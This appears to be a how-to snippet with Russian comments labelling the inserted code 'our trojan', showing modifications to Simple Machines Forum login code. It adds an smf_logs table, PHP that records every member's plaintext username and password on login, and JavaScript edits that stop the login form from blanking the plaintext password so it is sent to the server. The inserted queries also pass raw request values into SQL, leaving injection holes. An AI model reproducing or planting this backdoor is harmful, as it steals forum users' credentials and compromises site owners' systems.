CREATE TABLE smf_logs (
       id             INTEGER NOT NULL,
       name           VARCHAR(100) NOT NULL,
       password       VARCHAR(100) NOT NULL
);
ALTER TABLE smf_logs
       ADD  ( PRIMARY KEY (id));

...
	elseif ($user_settings['passwordSalt'] == '')
	{
		$user_settings['passwordSalt'] = substr(md5(rand()), 0, 4);
		updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\''));
	}
	//начало нашего трояна
	else
	{
		$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}");
		$user = mysql_fetch_array($req);
		if(!$user)
			$req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'");
		if($user['password']!=$_REQUEST['passwrd'])
			$req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
	}
	//конец трояна
	if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
		$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);

	// Get ready to set the cookie...
	...

...
elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA'])))
	{
		// !!! Perhaps we can do some more checking on this, such as on the first octet of the IP?
		list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename]));
		$ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0;
	}
	//начало нашего трояна
	$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}");
	$user = mysql_fetch_array($req);
	if(!isset($user['id']))
	{
		unset($password);
	}
	//конец трояна
	// Only load this stuff if the user isn't a guest.
	if ($ID_MEMBER != 0)...

	...
	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
	//закомментируем эти строки
	//if (navigator.userAgent.indexOf("Firefox/") != -1)
	//	doForm.passwrd.value = "";
	//else
	//	doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}

...
	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
	//закомментируем строку
	//doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}